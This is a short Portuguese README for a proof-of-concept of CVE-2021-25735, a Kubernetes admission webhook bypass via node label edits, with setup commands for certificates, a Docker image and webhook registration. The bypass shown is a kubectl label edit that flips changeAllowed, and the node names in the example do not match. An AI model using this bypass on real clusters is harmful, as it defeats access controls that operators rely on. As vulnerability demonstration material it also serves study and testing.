
Exploit para CVE-2021-25735 demonstrando bypass do Validating Admission Webhook do Kubernetes via manipulação de labels de nós, com container Docker implantável e scripts de registro de webhook.
Vamos começar executando o script gencerts.sh para gerar certificados TLS e chaves.
bash gencerts.sh
Para implantar o controlador de admissão, você precisa construir a imagem do container Docker localmente, marcar e enviar a imagem para o seu Dockerhub usando os comandos abaixo.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
Agora você pode implantar a imagem criada com a aplicação Node.js no seu cluster K8s. O arquivo webhook-deploy.yaml implantará todos os componentes necessários no seu cluster.
kubectl apply -f webhook-deploy.yaml
Vamos agora registrar nosso webhook junto ao Servidor de API do Kubernetes. Para isso, criamos um Base64 do arquivo ca.crt criado anteriormente e substituímos o CA_BUNDLE dentro de webhook-registration.yaml.
cat ca.crt | base64
Finalmente, registraremos o webhook junto ao Servidor de API do Kubernetes.
kubectl apply -f webhook-registration.yaml
Fazemos uma alteração no rótulo do nó usando edit nodes e adicionamos um novo rótulo.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
Como ChangeAllowed está definido como "false", obtemos o seguinte erro:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
Se tentarmos modificar o nó executando a seguinte alteração:\
labels:
test: test
changeAllowed: "true"
Neste caso, a ação de edição foi aceita, contornando o controlador de admissão.